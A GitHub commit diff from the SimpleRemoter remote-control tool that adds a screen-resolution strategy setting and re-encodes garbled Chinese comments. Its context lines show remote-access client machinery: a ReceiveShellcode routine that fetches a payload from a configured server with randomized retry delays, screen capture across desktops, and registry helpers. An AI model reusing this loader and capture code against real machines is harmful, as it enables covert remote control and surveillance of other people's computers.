mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 07:14:15 +08:00
Feature: Add menu to set screen strategy for remote control
This commit is contained in:
@@ -10,7 +10,7 @@
|
||||
typedef struct {
|
||||
unsigned(__stdcall* start_address)(void*);
|
||||
void* arglist;
|
||||
bool bInteractive; // 鏄惁鏀寔浜や簰妗岄潰
|
||||
bool bInteractive; // 是否支持交互桌面
|
||||
HANDLE hEventTransferArg;
|
||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||
|
||||
@@ -23,22 +23,23 @@ unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// 涓庢闈氦浜?
|
||||
// 与桌面交互
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
} catch (...) {
|
||||
}
|
||||
catch (...) {
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
@@ -132,14 +133,15 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
return hInputDesktop;
|
||||
}
|
||||
|
||||
// 杩斿洖鏂版闈㈠彞鏌勶紝濡傛灉娌℃湁鍙樺寲杩斿洖NULL
|
||||
// 返回新桌面句柄,如果没有变化返回NULL
|
||||
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
|
||||
{
|
||||
HDESK hInputDesk = OpenActiveDesktop(accessRights);
|
||||
@@ -147,8 +149,9 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
|
||||
|
||||
if (!currentDesk) {
|
||||
return hInputDesk;
|
||||
} else {
|
||||
// 閫氳繃妗岄潰鍚嶇О鍒ゆ柇鏄惁鐪熸鍙樺寲
|
||||
}
|
||||
else {
|
||||
// 通过桌面名称判断是否真正变化
|
||||
char oldName[256] = { 0 };
|
||||
char newName[256] = { 0 };
|
||||
DWORD len = 0;
|
||||
@@ -164,8 +167,8 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 妗岄潰鍒囨崲杈呭姪鍑芥暟锛氶€氳繃妗岄潰鍚嶇О姣旇緝鍒ゆ柇鏄惁闇€瑕佸垏鎹?
|
||||
// 杩斿洖鍊硷細true琛ㄧず妗岄潰宸插垏鎹紝false琛ㄧず妗岄潰鏈彉鍖?
|
||||
// 桌面切换辅助函数:通过桌面名称比较判断是否需要切换
|
||||
// 返回值:true表示桌面已切换,false表示桌面未变化
|
||||
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights)
|
||||
{
|
||||
HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights);
|
||||
@@ -192,17 +195,18 @@ HDESK SelectDesktop(TCHAR* name)
|
||||
if (name != NULL) {
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
} else {
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
else {
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
@@ -231,12 +235,12 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||
m_hEventDlgOpen = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
}
|
||||
|
||||
CManager::~CManager()
|
||||
{
|
||||
if (m_hEventDlgOpen!=NULL) {
|
||||
if (m_hEventDlgOpen != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hEventDlgOpen);
|
||||
m_hEventDlgOpen = NULL;
|
||||
}
|
||||
@@ -248,7 +252,8 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
int nRet = 0;
|
||||
try {
|
||||
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||
} catch(...) {
|
||||
}
|
||||
catch (...) {
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
@@ -257,7 +262,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
VOID CManager::WaitForDialogOpen()
|
||||
{
|
||||
WaitForSingleObject(m_hEventDlgOpen, 8000);
|
||||
//蹇呴』鐨凷leep,鍥犱负杩滅▼绐楀彛浠嶪nitDialog涓彂閫丆OMMAND_NEXT鍒版樉绀鸿繕瑕佷竴娈垫椂闂?
|
||||
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
|
||||
Sleep(150);
|
||||
}
|
||||
|
||||
|
||||
@@ -30,16 +30,16 @@ typedef IOCPClient CClientSocket;
|
||||
typedef IOCPClient ISocketBase;
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
const State&g_bExit; // 1-琚帶绔€€鍑?2-涓绘帶绔€€鍑?
|
||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||
BOOL m_bReady;
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
@@ -55,7 +55,7 @@ public:
|
||||
return m_ClientObject->IsConnected();
|
||||
}
|
||||
virtual void Notify() { }
|
||||
virtual void UpdateWallet(const std::string &wallet) { }
|
||||
virtual void UpdateWallet(const std::string& wallet) { }
|
||||
BOOL Send(LPBYTE lpData, UINT nSize);
|
||||
BOOL SendData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
|
||||
@@ -226,6 +226,15 @@ public:
|
||||
return m_nScreenCount;
|
||||
}
|
||||
|
||||
virtual bool IsOriginalSize() const {
|
||||
return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth &&
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
|
||||
virtual bool IsLargeScreen(int width, int height) const {
|
||||
return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height;
|
||||
}
|
||||
|
||||
virtual BOOL IsMultiScreenEnabled() const
|
||||
{
|
||||
return m_bEnableMultiScreen;
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
// 仅在 Windows 8 及更新版本上受支持
|
||||
#include <dxgi1_2.h>
|
||||
#include <d3d11.h>
|
||||
#include <iniFile.h>
|
||||
|
||||
#pragma comment(lib, "d3d11.lib")
|
||||
#pragma comment(lib, "dxgi.lib")
|
||||
@@ -108,15 +109,21 @@ public:
|
||||
|
||||
// 9. 初始化 BITMAPINFO
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
if (m_bAlgorithm != ALGORITHM_H264) {
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
switch (strategy) {
|
||||
case 1:
|
||||
break;
|
||||
default:
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
if (m_bAlgorithm != ALGORITHM_H264) {
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
}
|
||||
// 10. 分配屏幕缓冲区
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
|
||||
@@ -20,6 +20,7 @@
|
||||
#include "common/file_upload.h"
|
||||
#include <thread>
|
||||
#include "ClientDll.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
@@ -96,15 +97,22 @@ bool CScreenManager::SwitchScreen()
|
||||
if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 ||
|
||||
!m_ScreenSpyObject->IsMultiScreenEnabled())
|
||||
return false;
|
||||
m_bIsWorking = FALSE;
|
||||
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
|
||||
if (s == WAIT_TIMEOUT) {
|
||||
TerminateThread(m_hWorkThread, -1);
|
||||
}
|
||||
m_bIsWorking = TRUE;
|
||||
m_SendFirst = FALSE;
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
return true;
|
||||
return RestartScreen();
|
||||
}
|
||||
|
||||
bool CScreenManager::RestartScreen()
|
||||
{
|
||||
if (m_ScreenSpyObject == NULL)
|
||||
return false;
|
||||
m_bIsWorking = FALSE;
|
||||
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
|
||||
if (s == WAIT_TIMEOUT) {
|
||||
TerminateThread(m_hWorkThread, -1);
|
||||
}
|
||||
m_bIsWorking = TRUE;
|
||||
m_SendFirst = FALSE;
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr)
|
||||
@@ -509,6 +517,27 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ClientObject->SetMultiThreadCompress(threadNum);
|
||||
break;
|
||||
}
|
||||
case CMD_SCREEN_SIZE: {
|
||||
int width, height, strategy = szBuffer[1];
|
||||
memcpy(&width, szBuffer + 2, 4);
|
||||
memcpy(&height, szBuffer + 6, 4);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetInt("settings", "ScreenStrategy", strategy);
|
||||
cfg.SetInt("settings", "ScreenWidth", width);
|
||||
cfg.SetInt("settings", "ScreenHeight", height);
|
||||
switch (strategy)
|
||||
{
|
||||
case 0:
|
||||
if (m_ScreenSpyObject && m_ScreenSpyObject->IsLargeScreen(1920, 1080)) RestartScreen();
|
||||
break;
|
||||
case 1:
|
||||
if (m_ScreenSpyObject && !m_ScreenSpyObject->IsOriginalSize()) RestartScreen();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_FPS: {
|
||||
m_nMaxFPS = min(255, unsigned(szBuffer[1]));
|
||||
m_nMaxFPS = max(m_nMaxFPS, 1);
|
||||
|
||||
@@ -72,6 +72,7 @@ public:
|
||||
DWORD s_lastThreadId = 0;
|
||||
|
||||
bool SwitchScreen();
|
||||
bool RestartScreen();
|
||||
virtual BOOL OnReconnect();
|
||||
uint64_t m_DlgID = 0;
|
||||
BOOL m_SendFirst = FALSE;
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
#include "ScreenSpy.h"
|
||||
#include "Common.h"
|
||||
#include <stdio.h>
|
||||
#include <iniFile.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -18,13 +19,20 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL
|
||||
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
if (m_bAlgorithm != ALGORITHM_H264) {
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
switch (strategy) {
|
||||
case 1: // 1 - Original size
|
||||
break;
|
||||
default: // 0 - 1080p
|
||||
if (m_bAlgorithm != ALGORITHM_H264) {
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
}
|
||||
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define COPY_ALL 1 // 鎷疯礉鍏ㄩ儴灞忓箷锛屼笉鍒嗗潡鎷疯礉锛坅dded by yuanyuanxiang 2019-1-7锛?
|
||||
#define COPY_ALL 1 // 拷贝全部屏幕,不分块拷贝(added by yuanyuanxiang 2019-1-7)
|
||||
#include "CursorInfo.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
@@ -80,18 +80,18 @@ private:
|
||||
int height;
|
||||
};
|
||||
|
||||
class CScreenSpy : public ScreenCapture
|
||||
class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
protected:
|
||||
HDC m_hDeskTopDC; // 灞忓箷涓婁笅鏂?
|
||||
HDC m_hFullMemDC; // 涓婁竴涓笂涓嬫枃
|
||||
HDC m_hDiffMemDC; // 宸紓涓婁笅鏂?
|
||||
HBITMAP m_BitmapHandle; // 涓婁竴甯т綅鍥?
|
||||
HBITMAP m_DiffBitmapHandle; // 宸紓甯т綅鍥?
|
||||
PVOID m_BitmapData_Full; // 褰撳墠浣嶅浘鏁版嵁
|
||||
PVOID m_DiffBitmapData_Full; // 宸紓浣嶅浘鏁版嵁
|
||||
HDC m_hDeskTopDC; // 屏幕上下文
|
||||
HDC m_hFullMemDC; // 上一个上下文
|
||||
HDC m_hDiffMemDC; // 差异上下文
|
||||
HBITMAP m_BitmapHandle; // 上一帧位图
|
||||
HBITMAP m_DiffBitmapHandle; // 差异帧位图
|
||||
PVOID m_BitmapData_Full; // 当前位图数据
|
||||
PVOID m_DiffBitmapData_Full; // 差异位图数据
|
||||
|
||||
BOOL m_bVirtualPaint;// 鏄惁铏氭嫙缁樺埗
|
||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||
EnumHwndsPrintData m_data;
|
||||
|
||||
public:
|
||||
@@ -147,9 +147,9 @@ public:
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
|
||||
BOOL ret = FALSE;
|
||||
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
|
||||
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
|
||||
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
|
||||
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
|
||||
ret = TRUE;
|
||||
}
|
||||
@@ -200,7 +200,7 @@ public:
|
||||
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
|
||||
// 閲嶇疆妗岄潰 DC锛堟闈㈠垏鎹㈡椂璋冪敤锛?
|
||||
// 重置桌面 DC(桌面切换时调用)
|
||||
void ResetDesktopDC()
|
||||
{
|
||||
ReleaseDC(NULL, m_hDeskTopDC);
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// clang_rt_compat.c
|
||||
// 鍏煎 32 浣?Clang 缂栬瘧鐨?libx264 杩愯鏃跺嚱鏁?
|
||||
// 兼容 32 位 Clang 编译的 libx264 运行时函数
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
|
||||
@@ -28,24 +28,24 @@ typedef struct PkgHeader {
|
||||
} PkgHeader;
|
||||
|
||||
struct CONNECT_ADDRESS {
|
||||
char szFlag[32]; // 鏍囪瘑
|
||||
char szServerIP[100]; // 涓绘帶IP
|
||||
char szPort[8]; // 涓绘帶绔彛
|
||||
int iType; // 瀹㈡埛绔被鍨?
|
||||
bool bEncrypt; // 涓婄嚎淇℃伅鏄惁鍔犲瘑
|
||||
char szBuildDate[12]; // 鏋勫缓鏃ユ湡(鐗堟湰)
|
||||
int iMultiOpen; // 鏀寔鎵撳紑澶氫釜
|
||||
int iStartup; // 鍚姩鏂瑰紡
|
||||
int iHeaderEnc; // 鏁版嵁鍔犲瘑绫诲瀷
|
||||
char protoType; // 鍗忚绫诲瀷
|
||||
char runningType; // 杩愯鏂瑰紡
|
||||
char szGroupName[24]; // 鍒嗙粍鍚嶇О
|
||||
char runasAdmin; // 鏄惁鎻愬崌鏉冮檺杩愯
|
||||
char szReserved[11]; // 鍗犱綅锛屼娇缁撴瀯浣撳崰鎹?00瀛楄妭
|
||||
uint64_t clientID; // 瀹㈡埛绔敮涓€鏍囪瘑
|
||||
uint64_t parentHwnd; // 鐖惰繘绋嬬獥鍙e彞鏌?
|
||||
uint64_t superAdmin; // 绠$悊鍛樹富鎺D
|
||||
char pwdHash[64]; // 瀵嗙爜鍝堝笇
|
||||
char szFlag[32]; // 标识
|
||||
char szServerIP[100]; // 主控IP
|
||||
char szPort[8]; // 主控端口
|
||||
int iType; // 客户端类型
|
||||
bool bEncrypt; // 上线信息是否加密
|
||||
char szBuildDate[12]; // 构建日期(版本)
|
||||
int iMultiOpen; // 支持打开多个
|
||||
int iStartup; // 启动方式
|
||||
int iHeaderEnc; // 数据加密类型
|
||||
char protoType; // 协议类型
|
||||
char runningType; // 运行方式
|
||||
char szGroupName[24]; // 分组名称
|
||||
char runasAdmin; // 是否提升权限运行
|
||||
char szReserved[11]; // 占位,使结构体占据300字节
|
||||
uint64_t clientID; // 客户端唯一标识
|
||||
uint64_t parentHwnd; // 父进程窗口句柄
|
||||
uint64_t superAdmin; // 管理员主控ID
|
||||
char pwdHash[64]; // 密码哈希
|
||||
} g_Server = { "Hello, World!", "127.0.0.1", "6543", 0, 0, __DATE__ };
|
||||
#pragma pack(pop)
|
||||
|
||||
@@ -67,14 +67,14 @@ PkgHeader MakePkgHeader(int originLen)
|
||||
|
||||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
{
|
||||
struct sockaddr_in sa = {0};
|
||||
struct sockaddr_in sa = { 0 };
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
strncpy(outIpBuffer, hostName, bufferSize - 1);
|
||||
outIpBuffer[bufferSize - 1] = '\0';
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct addrinfo hints = {0};
|
||||
struct addrinfo hints = { 0 };
|
||||
struct addrinfo* res = NULL;
|
||||
hints.ai_family = AF_INET; // IPv4 only
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
@@ -96,11 +96,11 @@ int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
bool WriteRegistryString(const char* path, const char* keyName, const char* value)
|
||||
{
|
||||
HKEY hKey;
|
||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, path, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
result = RegSetValueExA(hKey,keyName,0,REG_SZ,(const BYTE*)value,(DWORD)(strlen(value) + 1));
|
||||
result = RegSetValueExA(hKey, keyName, 0, REG_SZ, (const BYTE*)value, (DWORD)(strlen(value) + 1));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
@@ -115,7 +115,7 @@ char* ReadRegistryString(const char* subKey, const char* valueName)
|
||||
|
||||
DWORD dataType = 0;
|
||||
DWORD dataSize = 1024;
|
||||
char *data = (char*)malloc(dataSize+1);
|
||||
char* data = (char*)malloc(dataSize + 1);
|
||||
if (data) {
|
||||
ret = RegQueryValueExA(hKey, valueName, NULL, &dataType, (LPBYTE)data, &dataSize);
|
||||
data[min(dataSize, 1024)] = '\0';
|
||||
@@ -132,11 +132,11 @@ char* ReadRegistryString(const char* subKey, const char* valueName)
|
||||
bool WriteAppSettingBinary(const char* path, const char* keyName, const void* data, DWORD dataSize)
|
||||
{
|
||||
HKEY hKey;
|
||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, path, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
result = RegSetValueExA(hKey,keyName,0,REG_BINARY,(const BYTE*)data,dataSize);
|
||||
result = RegSetValueExA(hKey, keyName, 0, REG_BINARY, (const BYTE*)data, dataSize);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
@@ -145,7 +145,7 @@ bool WriteAppSettingBinary(const char* path, const char* keyName, const void* da
|
||||
bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBuf, DWORD* dataSize)
|
||||
{
|
||||
HKEY hKey;
|
||||
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER,path,0,KEY_READ,&hKey);
|
||||
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKey);
|
||||
if (result != ERROR_SUCCESS) {
|
||||
*dataSize = 0;
|
||||
return false;
|
||||
@@ -153,14 +153,14 @@ bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBu
|
||||
|
||||
DWORD type = 0;
|
||||
DWORD requiredSize = 0;
|
||||
result = RegQueryValueExA(hKey,keyName,NULL,&type,NULL,&requiredSize);
|
||||
result = RegQueryValueExA(hKey, keyName, NULL, &type, NULL, &requiredSize);
|
||||
if (result != ERROR_SUCCESS || type != REG_BINARY || requiredSize == 0 || requiredSize > *dataSize) {
|
||||
*dataSize = 0;
|
||||
RegCloseKey(hKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
result = RegQueryValueExA(hKey,keyName,NULL,NULL,outDataBuf,&requiredSize);
|
||||
result = RegQueryValueExA(hKey, keyName, NULL, NULL, outDataBuf, &requiredSize);
|
||||
RegCloseKey(hKey);
|
||||
if (result == ERROR_SUCCESS) {
|
||||
*dataSize = requiredSize;
|
||||
@@ -205,7 +205,7 @@ const char* CalcMD5FromBytes(const BYTE* data, DWORD length)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 杞崲涓哄崄鍏繘鍒跺瓧绗︿覆
|
||||
// 转换为十六进制字符串
|
||||
for (DWORD i = 0; i < hashLen; ++i) {
|
||||
sprintf(&md5String[i * 2], "%02x", hash[i]);
|
||||
}
|
||||
@@ -227,9 +227,9 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
char addr[100] = { 0 }, hash[33] = { 0 };
|
||||
strcpy(addr, sIP);
|
||||
BOOL isAuthKernel = FALSE;
|
||||
char eventName[64];
|
||||
snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId());
|
||||
HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName);
|
||||
char eventName[64];
|
||||
snprintf(eventName, sizeof(eventName), "YAMA_%d", GetCurrentProcessId());
|
||||
HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName);
|
||||
if (hEvent) {
|
||||
CloseHandle(hEvent);
|
||||
isAuthKernel = TRUE;
|
||||
@@ -257,7 +257,8 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
char serverIP[INET_ADDRSTRLEN] = { 0 };
|
||||
if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) {
|
||||
Mprintf("Resolved IP: %s\n", serverIP);
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
Mprintf("Failed to resolve '%s'.\n", addr);
|
||||
WSACleanup();
|
||||
return NULL;
|
||||
@@ -270,7 +271,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
int attemptCount = 0, requestCount = 0;
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(IsRelease ? rand()%120 * 1000 : 5000);
|
||||
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
|
||||
isFirstConnect = FALSE;
|
||||
if (++attemptCount == 20)
|
||||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||||
@@ -295,7 +296,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
|
||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||
memcpy(command+32, hash, 32);
|
||||
memcpy(command + 32, hash, 32);
|
||||
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||
memcpy(req, &h, sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
